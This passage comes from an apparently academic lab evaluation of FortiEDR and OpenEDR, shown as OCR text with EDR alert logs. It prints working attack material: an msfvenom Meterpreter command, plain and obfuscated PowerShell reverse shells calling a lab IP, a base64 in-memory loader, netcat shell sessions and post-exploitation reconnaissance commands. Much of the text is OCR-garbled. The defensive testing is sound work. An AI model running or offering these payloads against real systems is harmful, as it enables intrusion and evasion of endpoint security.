un

DIPLOMATIK\gpanag DIPLOMATIKNgpanag  Unsigned C\Users\gpanag\Downloads\iestd (1).exe 1

test (1).exe (1 event) * Malicious 11-Mar-2023, 19:28:12  11-Mar-2023, 19:28:12

r 8683565 MSEDGEWIN10 test (1).exe ¥ walicious File Read Attempt  11-Mar-2023, 19:28:12  11-Mar-2023, 19:28:12 @

DIPLOMATIKl\gpanag DIPLOMATIKI\gpanag ~ Unsigned C\Users\gpanag\Downloads\est (1).exe 1

Test.exe FortiEDR alerts

HTA File Attack
Another option for taking Initial Access is .hta file attacks.

HTA files, also known as HTML Application files, are a type of executable file that can
run on the Microsoft Windows operating system. HTA files are essentially web pages that use
HTML, CSS, and JavaScript to create a user interface, but instead of running in a web browser,
they run in their own window outside of the browser. This allows developers to create
standalone applications using web technologies.

FortiEDR

We tried downloading the .hta file from Internet Explorer and we got an error from the browser
and an antivirus notification:

Virus & threat protection

Threats found
Windows Defender Antivirus found
threats. Get details.
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thm1.hta
-

Couldn't download - Virus detected

.hta file notification

Allowing the file manually and trying to access it, FortiEDR blocked the file and created
the following alert:

powershell.exe (2 events) * Malicious 12-Mar-2023, 15:10:36  12-Mar-2023, 15:10:36
r 8687614 @ MSEDGEWIN10 powershell.exe * Malicious 192.168.1.145 12-Mar-2023, 15:10:36  12-Mar-2023, 15:10:36 @
+*n
am
DIPLOMATIKI\gpanag DIPLOMATIKI\gpanag  Signed C:\Windows\System32\WindowsPowerShellw1.O\powershell.exe 1
r 8687624 W MSEDGEWIN10 powershell.exe * Malicious File Creation 12-Mar-2023, 15:10:36  12-Mar-2023, 15:10:36 @

.hta FortiEDR alert

OpenEDR

On OpenEDR we got the same error at the browser at first, and the similar notifications on
Comodo Antivirus System:

Downloads B Q - 2

thm1.hta
™

Couldn't download - Couldn't download

Downloads B a - P

thm1.hta could harm your device. Do you want to
keep it anyway?

Keep Delete

OpenEDR Downloads notifications
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Antivirus alerts:

3/12/2023 7:18:01 AM || C\Users\gpanag\Downloads\Unconfirmed 44375...  TrojWare.VBS.AgentNUI@500743984 Quarantine Success
3/12/2023 7:18:01 AM L] CA\Users\gpanag\Downloads\Unconfirmed 44375..  TrojWare.VBS.AgentNUI@500743984 Detect Success
3/12/2023 7:16:30 AM L] C€Ausers\gpanag\Downloads\Unconfirmed 75561 TrojWare.VBS.Agent. NUI@500743984 Quarantine Success
3/12/2023 7:16:30 AM L] CA\users\gpanag\Downloads\Unconfirmed 75561 TrojWare.VBS.Agent.NUI@500743984 Detect Success
Date & Time Location Malware Name Action Status

3/12/2023 7:18:09 AM L] CAUsers\gpanag\Downloads\thm1.hta TrojWare.VBS.Agent. NUI@500743984 Quarantine Success
3/12/2023 7:18:06 AM L] CA\users\gpanag\Downloads\thm1.hta TrojWare.VBS.Agent. NUI@500743984 Detect Success

.hta OpenEDR Antivirus alerts

When we closed the firewall for the Assumed Breached Methodology, on the EDR we
got an alert titled “Antivirus Detect Malware” , but it didnt blocked it.

v Antivirus 10 Malware Detection 20230312 16:16:30 PewithOpenEDR
 View Xcitium Verdict Cloud Report

Component: Antivirus K " etect Maluare™

Device Name:

Event Type: 2023-03-12 16:16:30.001+02:00" #irmed 755615, crdownload"
et " "28c524554584452¢1803016980bFef3d26216396"

vent Time:

.hta OpenEDR alerts

Encoded executable shell

In this test we are going to test an encoded executable shell that we are creating with msfvenom
with the following command:

hikata_ga_nai 5 LHOST=192.168.1.145 LPORT=445 exe encoded_shel

ed with
en with fimal

msfvenom command

On our attempt to download it, we got a warning that the file is suspicious, and after
downloading, it was blocked by Windows Defender:

encoded_shell.exe isn't commonly downloaded. Make
sure you trust encoded_shell.exe before you open it.
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Trojan:Win32/Meterpreter.A Severe
3/12/2023 7:34 AM (Removed) ~

Actions ~~ See details

Encoded executable shell Windows notifications

On our assumed breach methodology when we closed the Antivirus and tried to download and
run again,the process was blocked on both EDRs. We got the following results:

[#5 encoded_shell 3/12/2023 7:35 AM  Ap

CA\Users\gpanag'\Downloads\encoded_shell.exe >

Windows cannot access the specified device, path, or file. You may not have the appropriate
permissions to access the item.

Encoded executable shell error window

FortiEDR
On FortiEDR the process was blocked as an encoded shell:

@ Security encoded_shell.exe = 3/12/2023 7:36:32 3f12/2023 7:36:32 8352
Encoded executable shell FortiEDR event

OpenEDR
On Open EDR the process was blocked as a trojan:

3/12/2023 7:38:13 AM || CAusers\gpanag\Downloads\Unconfirmed 22091.... TrojWare.Win32.Rozena A@275288211 Quarantine Success

Encoded executable shell OpenEDR event

Powershell payloads

For the next tests, we are going to execute four powershell payloads in order to test them
against our EDR.
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Reverse shell

The first payload is a reverse shell, which tries to connect using a tcp connection with
System.Net.Sockets and IEX invoke expressions. It establishes a TCP connection on a specific
port and IP that is specified in the first line and allow the attacker to execute powershell
commands on the host.

The script enters a loop that reads data from the stream and executes it as a
PowerShell command using the IEX (Invoke-Expression) cmdlet. The script captures any output

generated by the command and sends it back to the client over the same TCP connection.

The script is the following:

$client = New-Object System.Net.Sockets. TCPClient('192.168.1.19',80);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0,
$bytes.Length)) -ne 0){;$data = (New-Object -TypeName

System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 |
Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length
);$stream.Flush()};

Powershell Payload

FortiEDR:

GetStream();

Attempt to run the command FortiEDR
OpenEDR:

N Windows PowerShell - |
PS C:\Users‘\gpanag> $client = New-Object System.Net.Sockets.TCPClient(
byte[]]1$bytes = @..65535|%{0};while(($i 5 D] )
ystem.Text.ASCIIEncoding).GetStrin S (iex ; Out-String );

(pwd).Path ;¥sendbyte = ([text.encoding]::ASCII).GetByte k2);$stream.Write
ength) ; $stream.Flush()};

Attempt to run the command OpenEDR

We have opened a netcat listener that listens for requests on port 80. In this case we have
taken shell successfully and we are able to execute powershell commands.
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— |

-nlvp 80
listening on [any] 80 ...
connect to [192.168.1.19] from (UNKNOWN) [192.168.1.15] 50582

whoami
diplomatiki\gpanag
PS C:\Users\gpanag> JJ

Netcat listener

The only alert created was the whoami:

"child process_hash” : "47d7864d26fc67e0d60391cbfl70d33da518c322",
"child process _path" : "C:\Windows\System32\whoami.exe",
"child process _pid" : 7948,

"child process_verdict" : "Safe",

Alert Created

Powershell command 2

e  -Sta: starts PowerShell in a single-threaded apartment (STA) mode. This is typically used when
PowerShell is used in a graphical user interface (GUI) application.
-Nop: suppresses the PowerShell prompt, so the user does not see it.
-Window Hidden: hides the PowerShell window so that the user does not see it.
-Command: specifies the command to execute. In this case, the command is a series of
PowerShell commands that create a new memory stream and a new compression stream, and
then use the compression stream to decompress a base64-encoded string.

powershell -Sta -Nop -Window Hidden -Command "sv o (New-Object |0.MemoryStream);sv d
(New-Object
10.Compression.DeflateStream([I0.MemoryStream][Convert]::FromBase64String('7Vp7cFzld
T/f3d27V2t7rbt6+SHZKO9uy17119PQrxIgvWzKSsC3JD172avdKWrzau75315ZwIXIhGR6IwZOB
ILSOwaFNYCANK7QxKUxwSxJaCgNpysTDozA80tBkCmQmhE4x/Z3v3I2tLBIC/8kwk13v+c7r
09855zvn2/ut3HflneQhli8+H39Mdlac13b69NcUPsHIPwzS94ueqT4jep+pHhxL20G0ZY5a0fF
wLJpKmZnwsBG2sqlwlhXuvGIgPG7GjfoF CwKrXBu7u4h6hUIl/u+vMcM7uq7SC50kGoloQisO
r7QYI143PY9S7syLzunNwonXLnKLT9SO0TF8t/0mB/k6xc7ia74pCCx3vzflRezXvBPKyA10NOFd
H3GmMhgblg4uoWxFpg4XG8ZSTPm+nDY 1Vk/U287Ufv/x0V+zXed6pamfXRzHdHgEILhLKV
+VnsblAjmBJQINkStXWbDjroasS1tUOIMkbSr2wvADFhAOxV38Fo015cvX3xvxY 14EzHXzVOs
SyG5AXXqtxotp3Yh1vDV1Fatv9AESr+owamOFQMOUSyLwfp1UnG8ZF7Xhn2kjiNG3DP8PG
Aut9cTEb2kwbJdM2tBk2SrzWrQqll/Mgs7Z4gGFTAyU+a5tnNIdVraNeEEhV4AbkOItic93bQVb
zZWxCmS7TIQqZWhVadL8d0YRazta9CJDNpssny5QF TZ60i62tsKcR4wHqP58+LIDA1X59fYZ
YCO0+cvMsvkgAfMcomYFTwWE7EWsuCDMxWO0vBm4vYUYwspTFwXKzEqNZxbyFmLSMuQvL
IYV/mjCXM7NYX6AXmM2FGdX1e5R0+mVBd04si1WCergmw/sZH6dM1i6 Tnp2sWw8oKzvVK
KV6iF7vYUI13sMgqthYKv4vyi9QAV8+rQd6E 1 TxtDQPpXEi6xYIWS0pKSOptjibFSvbTCjLC8NL
KWfa+VuLmOddczo45zyc6UIPnNel6rZtMbWCtUE7mEqdXIJWs23QaGpg8xG1j5QUQQQeE
G1m/QS/XVdhPQopzwDITWYZz53V6ewnflWbZKJw1HVbsH4zgLzBmUpFc7PNFvZ8TcWBK|jX6
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miKzFdRIiY8//phd0L26X/dKnrmBwRzz5QaY GwFW66tLyl7xrH6FY 9wExpZi2HKIGKo5X46mX
GpuBu+I8pLIppMy7MiFYTdjzTI37MhFw9aLCmJuycccmXbO1Siag+dEGOGOET3iRms502Z2d
PFp3sgxV9+klkS0s/gdTagS1qJZL3ZJyp2TKuRIVc6tk6e X6PKITs9hRgghZ4iCLIspRX+Q01WL
U+GJZ47JAI5dySnwvP4Y2RkNVSCVzmINVI/GwWuFxfnGuQJXpQX1Jhbmd8qdOWIXql25aVb
[tW6kudtqx02rLSbONWdHpzyR3loyipirSzgMrscDRkK1aV61W5IZbBzZWWzW7Gle/DZC3qwc
mYPLpu7B5c7WVte2GjlJWvdKIn7SVWy9rNWydo5gmQ2z6mStaiStfrazOWV3I3DHftbWCWV
s6rE3eKw0O1Zj28LISyKdLNKrXUyvkob18Az7G6T9XNnloggu16tzRbECXq24SFH87JOLYsXc
RbHSSALKmMUVR6xZF7ScVRe1nLYraOYpiNs8piloURa1e+7koCs7VpxZFpluFOwDKv27ulEP
pktwGImMED1RP8RIUd503E9p028dQXWP3K6pJ1kR42ts7c5e4R45¢cz3ss2+wBeodq2XucZ7z
mUOC8wfhvm+0O7AS/Bj6 T8CfIDxUTCDFzwXnipyPvhOZpkoafBQSJHPmMLon0s9JfoG3+aX8N
r86k3yLyV/myGLhsd5l4gpOUMghrN8WikvVAJETVqValNSUKGbC2l40vrpQzIQVLXRPFYqZsG
4pFNOfKGbCeghAbO8mfkLeAxiw9wLOUB80BjvEpVhrkaUvOF7LMIQb7AFzJC70VX7io8huzld
+4qPL7s5Xfv6gy+Wcp51mzllOzlY OzIf21y5QTeGL21g5QPDdIZJcS2c9dswOwUrSbrFF 3jRU;j
9c8CB5fn0oaFFIFKD9d8USuBDuLr0sRUOs0I65VNVnmVewU1pFtxmPIHVXHGNvCdzDfK/W
KgHKCH7nXr1JkB8kDOGNNkNe8mv2SfHmMABVTIBD+vH1qvBr3I57F4bb2Nx3F1ig8HtTvk6e
BxGnmrs1b7wK521W9czj3vWFN9Q3 1rw8amjSS7Kwn4JPxaeSPui4i9AX20ciBjJVKjNmschvl
K8FcODdAfVTj325U7h3rwJUB/AvopOL+yPWnmLtggxf6y00VFARD/I5qp3Lnvcbx84eN7Kx48
pB1EROVOHqSOey+UfS/cO0Uu5qg6vicaJQ6VvKdapKP5Xwq0q3upBu47zTM/6EVyVDYThMAa
HSX3sT3gCNgN/QVPouMYz6GO4WCe9y+g2fmtTqS3iDIB3PkD9Iv/G/6FdpApaD9KzvRXCe
97D0Go3xyzWW9it/B+mLXob3+N/RANQL8YpX+xje6+EVnxO7fSoNSh91Y/6zXoYdEKI72YT
guHdEt7uZ7jcMwF4k5Q+LuHXAINOi/RkvsLwnOcdcEJFjD8qGG72MvxAZVgINT/y1mPdFwW
vOSuZDSEzcFJ6eJv04XHtvwArpfQyH+OtCsP/ILNe8f0bTtKbNc6J7mO4S8I6ZcjPe/CU3AKh3
8X0009BX5nEFVDVQgMNUEp/LIrpIWxgGfizyAMKXz6 SWkCebmJSBVM+WgjtIbFHUSNIGQJ
8wnMAsFYbUjbQk3SVUg75IcBWCROAuU9kQfXIRBSpAOLWSupte8I4g09Sbyrii0JijSX+B/VBo
otaRdStHIbtb/tbxZe3vfScUL/2IpE5Sq/+LbBupb66dX8NEPHYruUdcpPvpXST1JV20bFT+dX+/Y
fNK7Smik1jnUVu1p1HawbtpKgBZJ6ib6 CkOpAYpL6tSiKnVcCc7QDFLa1QzQ/WKa2gZqYZ6y
QBXLXcABCvhb2Sk/8TP+v9yG908e5twvpd+V/FIKVFPC630s3ahxn73Jpwo9IHWep2n4Mm
KowDbpxH4tBgxQo8RvIXCthOfoHf8YvUZjmokzpkK9DfjP/XfSe/SheBjSY+IR+hA5/wHqgvWj1
Ccew9xTnrOQ3u/5SMQmMx0fM09dC1yvNUJO4QLWCWelL C6+DPtDcBfoZr2Y O4bVC3YwkHg7
9Ba8Q/0PjWKL3I+C/x19SNotqgesVnUeltEm/i+JyTOORN/YIEK/oOWCyG6PavA+ZG/VvSly72
N4gBgb3vER55N4iQ1+S8T91FIUSdwrWgX4HItj0ilUvO+ERVe/zZWilH7tuO5UONnxtEvhh742w9p
x2s7iHo4b+F/1fEbeKt/x3Qbpl+3PRRrb2V+Dv99yPWab2gDgltiucsR/5HwWZ/xPMIPP+653uw8x
LsFIm3iONdhSgO0grtUXDu1JaL+8S1yInA15GBB8RPtJ+KROWN+DngQ+pL4qy4Sn1dPC/+
Wbwjzom3fe+Jo/SWOEtH6UbBGT7j/0C8Jv5b3CbeFj5FU85Rr3+B8jbHDs53PCGIVO7LJGX8
i5T3xGHvMkUo7ytngZRqRY 1yUkpPuZB74KSs/Qele+URsrGP1bSOzir16PM7AUvoHsCIdEDb
ZTivB/6aUPiHhPOn4qoTFdF40KZ2KR573z/puR1egxJQf8CaKC1t4py543KNv0syfM7uVj+To4
afFPK9aoVI6Ca+jp6Da+RdJXk1BdX8R59C3HaWt2zYfOtR8qIG2dk0YsWzGGMhERw1r27D
L3RY7dKgzYaeTOcmOZNS2Haac0zjnnEbqg6UplxwOrOpw0DjdSb8LOYHDNNMO5p412ZF Oxw
3MK6djx+JHx0YbréyePt1B3X1vHQHdbU+sGGjUyh4YGd2xi07S1z4xnk8Y26qaBSTtjjNf3XEF
DUqgdnH9nOsNNIwa2MATQezURp3I6ZVjlxzFHmpnWYyaQRyy TMIFOVORMx6jWjcWgLx+fS
GUgbsUQOmbjeiFO/cXxnNhGnrR2meSRhdJipTDQBEQuOHDrUHo0dwUPGjoSRjNNeA/mM
GdI9hBo7MmgxyW4iDoN2R+NxKEu8I5EeMyyJsngfYdvIDXVYRixIZbBORzQ2ZIBP6ph5xKD
p1FMPb5tpSxyu2CbG/VYiY/TCJ2kL/kq8y45FO0WYNIPWQT+62zlwZM50Dk8zMhWzBSjSdy
WLsMzJjZrw9ahvkrMEeW4AHWhs2dxhWJjGSiCHP7CQPA4Ntg2NA420ZPGkNZ1lijgcTScP
KbUmBgNMYzo060stsXgkc55XuNZHRCYva0fG8WqRg3WA2i4UQSY UxL3aKi9smME/i+aDJr
ODEHFpRXVTHh7IK7AUhNnzJTIKG1wYLsTqRSTOyxznOPfOOI809KgOYPsNI+nkggalxxKFxA
7jQyb6o7aY/nJB8aTeXxazcUGssO2g/VFM7ExmQyEwwaAHzNSOVTelg1ZCcluosTGzYxRsB
mIORGXeeulJpPDKDo0Z6YBhHTOsT9ZDdabsEdMa35FIRZN4+gWv38gcN60j02XoWptZQk4
DooDcOslwPm4gmFhbctSE5tg4tdmzeRzKNLU3mogb4+SWft4b6umwdJtMZc5rRbgLloynkKZ
FyinGMsZIEbiXvNUbc5qX+6LghS2G60WmnZWbTBfR+Y7gblYsUTfO6JmJGWmJOJ/SkRkx
nYmM4RtINVRwulW7R10c7zkRCdiBjJzLAFzSFeKh/bsyAiGnNRMpDJ90RSfTjLIR91LiLc1YvO
GNk+i/kDRoTGdnyzpQuyzItLiz3IMiAcnLbnx0fzjcjuPUxB8rB6eJOlybjyNFoDZdGcebi7kxER1
OmnUnEbF7HSY9NbYadT7/TqfW5A8AN3Hbb3j310l4ukdHYFHNHGOQjKW8qV2z1ToJHrW
h6bLL+gjNITuPGt2lYwqiFm17PdN3aTuYKaE5VpzESzSYzs6rc0cZp4CoUSty85/3j7KPcRrPJ
gNU1kbZQvnxgSfuyWhzUKS9MtOIM4RVGSGaYG7ORuM5SmITcpNs8lwBpxLbIfXQnSO0A1WP
YcQZrhi+DhWK1CXI4HIBEDiZNJDGoUhOTIHUHCkE/MYBdyxhmalxxmVVZS0rj5vYK3L3ndx
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zQR4pFGOArxwe4locuzOZNAzvNY5mDTvDaS+gBk1+DgA+HFf9/NfaghThgBo1JqjNsqKTct3
LjUmZZR4/aatxctjG+HBykuSR1GGmJ8IMH+06mo3y+c94T8rlUdPpyFuTq6EhJ5z1HKwHX|tY;TNOGmeU6d5hk7LnDotM3Ra59RpndZ
ZUBgJLSj0uZBgmkE 1z6BaZICtRPt/fPq+X39YufObTx/bOUVPXUPesBCaJ0zCBOTX9/vXhOrL
QIUieAEIBKPVWWCVLxiqCaON1VX5+A3mfEICDhWqakTxXpDeW6a2Yp+EV2qyGRVWwyrOw
WAQ2t4zKQIIATOAE 1bKQoQSDvrAiKhdVFCuKFAIHgWXLadnwBgDCf2eDGhbOkICC/LeKRrg
ueZrml4FIviwfVVSOZepWZ7iDI6vy+WFfC02d8kFh6i6EHVQgwAXfGIx7tbCH3dY09hSIj+Q6Y
WJUICIVGVWVKrHNB3gITT3M2VOkxUd4MQzS2i0S9ajDetwnEGIFIRNSQj6ZF 1gGGgY Nxx
WFIxLC8eUspwLRhkkDU2MgKUX6VIIJQRkOu+ks/vx88mGlcxp/ND8Bfxkew/nQ1GvO8KYaVi
orqyql/nsgeXjfivxK6FLpHRIgXVDggghd®6ijjylQITX3ELPgJAyLUF/T6RWIlBXtCfSwI9Xj8QtF+c
P3V+xa3vHqrRw31KKqigEFgi/y5zUW6qnj/RBEpbjOhA6GeQNirVIYOhq7Ro94laE24/41wGf9
2P6iU78djZL+Zyl/nBscs87gtNOH+jOYV7g9p07+pLcn938k5XvML/1MI4fEZT/2GvIrKH50Moz6
eTErZxzUU3j63kT+8Pr+v7c7fHNdv+n0780fX7+P1fw=="),[|0.Compression.CompressionMod
e]::Decompress));sv b (New-Object Byte[](1024));sv r (gv d).Value.Read((gv
b).Value,0,1024);while((gv r).Value -gt 0){(gv 0).Value.Write((gv b).Value,0,(gv r).Value);sv r
(gv d).Value.Read((gv b).Value,0,1024);}[Reflection.Assembly]::Load((gv
0).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@()))|Out-Null"

Powershell Payload

I am running it at powershell on FortiEDR:

PS C:\Users\gpanag>

Attempt to run
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FortiEDR blocked this action and created an alert. Event 8719873

D
v wwidkmgOz.ywd.exe (1event)

v P 8719873

DIPLOMATIK\gpanag DIPLOMATIK\gpanag

Event triggered FortiEDR

n o revee B memesse Dlsose v [3 mwo
DEVicE os
> ® wsEDGEWINIO Windows 10 Enterprise.

RAWID: 311982435

DEVICE

B MSEDGEWIN10

PROCESS
[ ——.

Process Type: 32 bit

PROCESS

vwdkmg0z_ yw4 exe

Unsigned

CLASSIFICATION

& Suspicious

Certfcate: Unsigned

CLASSIFICATION =
F suspicious

% Suspicious

vwdkmg0z ywd exe 1

DESTINATION

In memory Execuion

Process Path vckmgz ywd exe

DESTINATIONS

In memaory Exec. .

RECEIVED

15-Mar-2023, 15:50.25

User
PRE EXECUTE
END ADDRESS
T1059.001

"gpanag@DIPLOMATIKI",

PARENT PARENT PARENT PARENT PROCESS CREATION  PARENT PARENT PARENT FILELESS LOADING
PRE EXECUTE
Source Process: widkmgoz . e Company: Product:
Target: Descrpton Comments
Version Command Line:
EXECUTABLE FILE NAME WRITABLE CERTIFICATE REPETITIONS BASE ADDRESS
O[] Menwekmgtzyws ese No [—
P
8 Suspicious Powershell Execution 2023-03-15 17:01:07 PCWITHOPENEDR
"adaptive_event_type" : "Suspicious Powershell Execution”, "logged_on_user”
3 "base_event_type" : "Create Process”, “process_hash”
“child_process_command_line" : Windows 1\v1.0\p l.exe” -Sta -|  "process_parent_tree” : [ .. I,
- "child_process_elevation_type" : "TYPE3", "process_path”
“child_process_hash" 16379 ) “process_user_domain” :
2)
) "child_process_path” : "C:\Windows\System32\NindowsPowerShell\v1.0\powershell.exe", "process_user_name"
9.001)

“child_process_pid"

“child_process_verdict"

"component” : "EDR",
“device_name"
"event_group”

“event_time" :

“process_creation_time"

7280,
"Safe",

"PCWITHOPENEDR" ,
"PROCESS",

"2023-03-15 17:01:07.839+02:00",

Event triggered overview OpenEDR

Assessing Open and Closed EDRs

"2023-03-15 17:00:58.753+02:00"

“process_verdict" : "Safe",

"tactic" : "Execution”,
“tacticID" "TA@0B2",

“technique” : “PowerShell",
"techniqueID" "T1@59.001"

"C: \Windows\System32\WindowsPowerShel1\v1.8\pow
"DIPLOMATIKI",
"gpanag@DIPLOMATIKI"
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Payload 3 Obfuscated powershell reverse shell 1

$client = &('NEw'+'-0bJ'+'ECt') ('S'+'ysTem'+'.nET'+'.soCk'+'ETS.'+'TcpCIIE'+'Nt')((("{0}{1}{2}"-f
'1','92',".16")+("{0}1}" -f'8.1",".")+'1'+'9"),8081);$stream = $client.GetStream();[byte[]]$bytes =
0..65535|&('%'){0};while(($i = $stream.Read($Sbytes, 0, $bytes.Length)) -ne 0){;$data =
(.(New'+'-O'+'BjEct') -TypeName
'sY'+'sTeM.TeXT.A'+'S'+'clie'+'nCO'+'DIN'+'G")).GetString($bytes,0, $i);$sendback =

(ie'+'X') $data 2>&1 | &('ouT-"+'strl'+'NG') );$sendback2 = $sendback + ('PS'+""') +
(p'+'WD")).Path + '>";$sendbyte =
[text.encoding]::ASCII).GetBytes($sendback?2);$stream.Write($sendbyte,0,$sendbyte.Length
);$stream.Flush()};

(
(
(
(

Powershell Payload

FrotiEDR:The execution was blocked by EDR:

[3 Export ~ 87 Exception Manager
- Al D DEVICE PROCESS CLASSIFICATION = DESTINATIONS RECEIVED ™ LAST UPDATED
powershell.exe (3 events) % Malicious 15-Mar-2023, 16:23:26  15-Mar-2023, 16:23:26
| 2 8720429 MSEDGEWIN10 powershell exe Inconclusive 192.168.1.19 15-Mar-2023, 16:23:26  15-Mar-2023, 16:23:26

*n

Obfuscated powershell reverse shell 1 FortiEDR alert

OpenEDR: The attack was successful and we got a reverse shell successfully. EDR did
not create an alert.

)
ent.GetStream(); [byte[]]$bytes = @..65535|&( ){@};wh
(. ( ) (

(. ; 23 | &(
:ASCIT) . GetBytes($

— |

-~ o 88

listening on [any] 8@

connect to [192.168.1.19] from (UNKNOWN) [192.168.1.12] 58136
whoami

diplomatiki\gpanag

PS C:\User

Reverse tcp successful
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Payload 4 - Obfuscated powershell reverse shell 2

The next test is an obfuscated powershell that tries to create a reverse shell on port 8081:

$nc7 = [typE](T'+Ext.'+'enCO'+'DInG') ;${c’Li'eNt} = &('NEw'+'-obJ'+'ECt')
('S'+'ysTem'+'.nET'+'.soCk'+'ETS."+TcpCIE"+'Nt")((("{0}{1}{2}"-f '1','92',".16")+("{OH1}" -f
'8.1',".")+'1'+'9"),80);${s ' Tr Eam} = ${C’lie’'NT}."geTs ' TRE ' Am"();[byte[]1${by Tes} =
0..65535|&('%"{0};while((${I} = ${st Re’Am}."re’Ad"(${ByT Es}, 0, ${B yt'Es}."L’ enGtH"))
-ne 0){;${d"AtA} = (.(New'+'-O'+'BjEct') -TypeName
('sY'+'sTeM.TeXT.A'+'S'+'clie'+'nCO'+'DIN'+'G"))."gET stri'NG"(${b"yT eS},0,
${1});${S"enD'BaCK} = (.(ie'+'X") ${d"ATa} 2>&1 | &('ouT-"+'strl'+'NG') );${SeNd'Ba’ck2} =
${se’'NdbACK} + ('PS'+'") + (.('p'+'WD"))."p"ATh" + > ";${S'eNDB'yTE} = ( ( DIr
vaRiaBle:nc7
).vaLuE::"a’scli")."GET ByT es"(${SEN'd"'BA ck2});${stRe’Am}."wRi" TE"(${SE Ndby Te},0,
${SENd'BYte}."I'E'NgTh");${St'Re’ AM}."fl' UsH"()};

Powershell Payload

FortiEDR blocked the action and created an alert in the console:

Connection blocked for process
powershell.exe PID 5104

Contact your system administrato
if a trusted application is blocked.

powershell.exe (3 events) ¥ Malicious 15-Mar-2023, 16:23:26  15-Mar-2023, 16:35:53

4 8720429 MSEDGEWIN10 powershell.exe Inconclusive 192.168.1.19 15-Mar-2023, 16:23:26  15-Mar-2023, 16:35:53 @

FortiEDR blocked the attack
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OpenEDR did not succeed on blocking the alert and opened a shell were we were able to
execute commands:

COMODO Client - Security 12 — %

TASKS SETTINGS LOGS

X Windows PowerShell

&l | &( ) );
( (DIr vaRiaBle:nc7 ).valuE::

Secure
All systems are active and

—~
MANAGE PROTECTION

OpenEDR exploited

Attack was successful:

listening on [ .

connect to [19 1.19] from (UNKNOWN) [192
whoami

diplomatiki

Successful reverse tcp

The only alert we got was from the command ‘whoami’ :

Score Alert Name Alert Time Device

. System User Discovery 2023-03-15 23:25:40 PCWITHOPENEDR

"adaptive_event_type" : "System User Discovery",

"base_event_type" : "Create Process",
"child_process_command_line"” : ""C:\Windows\system32\whoami.exe"",

0 "child process_elevation_type" : "TYPE3",

"child process_hash" : "47d7864d26fc67e@d60391cbf17@d33da518c322",
|

"child_process_path" : "C:\Windows\System32\whoami.exe",

r Discovery (T1033) "child_process_pid" : 4320,

"child process_verdict" : "Safe",

"component™ : "EDR",

"device_name™ : "PCWITHOPENEDR",

"event_group™ : "PROCESS",

"event_time" : "2023-83-15 23:25:40.851+02:80",
"process_creation_time" : "2023-83-15 23:24:13.994+02:00"

OpenEDR alert

Assessing Open and Closed EDRs 61



MeTtatrTuyiokn AloTpifn

Iewpyiog MavayiwTtakdTouAog

After that we executed the following commands on the shell. All of them was successful and no

alerts were triggered on the EDR:

net user
Get-ADUser -Filter *

reg

wmic /namespace:\root\securitycenter2 path antivirusproduct
Get-NetFirewallRule | select DisplayName, Enabled, Direction , Action

query

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Wi

ndows-Sysmon/Operational
netstat -na

net localgroup

net share

systeminfo | findstr Domain
net accounts /domain

"Open port on - $"} 2>$null

Test-NetConnection -ComputerName 127.0.0.1 -Port 80

(New-Object System.Net.Sockets.TcpClient("127.0.0.1","80").Connected)
for($i=130; $i -le 140; $i++){ Test-NetConnection localhost -Port $i}
1..1024 | %{echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.1.19", $))

Get-NetFirewallRule | select DisplayName, Enabled, Direction , Action

OM-In)
e Monitoring (Echo Request - ICMP
e Monitorin

DP In)
-In)

Telemetry
(TCP-In)
[ (UDP-In)
tion Computer
ition

EPMAP)
Remote M
Windows
Windows T Remo
Windows Defender ewall Remote Management (R

Powershell commands run on reverse tcp

Assessing Open and Closed EDRs

vice (PNRP-In)

ice (PNRP-Out)
P-I
)P-Out)

Inbound
Inbound
Inbound
Inbound
Inbound
Inbound
Inbound
Inbound
Outbound
Inbound
Outbound
Outbound
Inbound
Inbound
Inbound
Outbound
Inbound
Outbound
Inbound
Inbound
Inbound
Inbound
Inbound
Inbound
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.cpl file attack

Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows
Control Panel process binary (control.exe) handles execution of Control Panel items, which are
utilities that allow users to view and adjust computer settings. These items are registered
executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link
library (.dll) files that export a CPIApplet function. Control Panel items can be executed directly
from the command line, programmatically via an application programming interface (API) call, or
by simply double-clicking the file.[22]

In this attack we will download a .cpl file from the web and try to execute it in our victim hosts.
The name of the file comes from “Antivirus_Upgrade Cloud.765b3453¢cb590001.cpl” that we
downloaded from bazaar.abuse.ch .[23]

FortiEDR
v Al D DEVICE PROCESS CLASSIFICATION « DESTINATIONS  RECEIVED ~ LAST UPDATED
ae30d28b17fbce8e55203ad863c40babsfe02a3 exe (1 event) ¥ Malicious 27-Mar-2023, 23:57:04  27-Mar-2023, 23:57:04
4 8833384 MSEDGEWIN10 2e300d28b17fbce8e55203... F Malicious File Execution At... 27-Mar-2023, 23:57:04  27-Mar-2023, 23:57:04 @
*n
.

DIPLOMATIKI\gpanag DIPLOMATIKI\gpanag  Unsigned C:\Users\gpanag'Downloadsisamples\ae30d28b17fbce8e55203adB63c40babbfeBl2al.exe 1
203dd97848f29e54a662575ae670288e8fddabaT .exe (1 event) ¥ Malicious 27-Mar-2023, 23:56:59  27-Mar-2023, 23:56:59
5d2a9e82b6098813fa230152de286f7712b5608f exe (1 event) % Malicious 27-Mar-2023, 23:56:38  27-Mar-2023, 23:56:38
0d9e5116c1da200fa3a55c84ca2195ebTbbbd1e exe (1 event) # Malicious 27-Mar-2023, 23:56:29  27-Mar-2023, 23:56:29
92ff7716bb0fadc30368c24acd23423dbb6033f3ckb... (2 events) ¥ Malicious 27-Mar-2023, 23:53:49  27-Mar-2023, 23:53:49

FortiEDR alert

FortiEDR blocked the alert also when we tried to run it and created a High alert with the
Categorization “Malicious”

9217716bb0fa4c30368c24acd23423dbb6033f3c6b8... (1 event) % Malicious 27-Mar-2023, 16:57:38  27-Mar-2023, 16:57:38

4 8832067 MSEDGEWIN10 92ff7716bb0fa4c30368c2 ¥ Malicious File Execution At 27-Mar-2023, 16:57:38  27-Mar-2023, 16:57:38 7]

*n
-

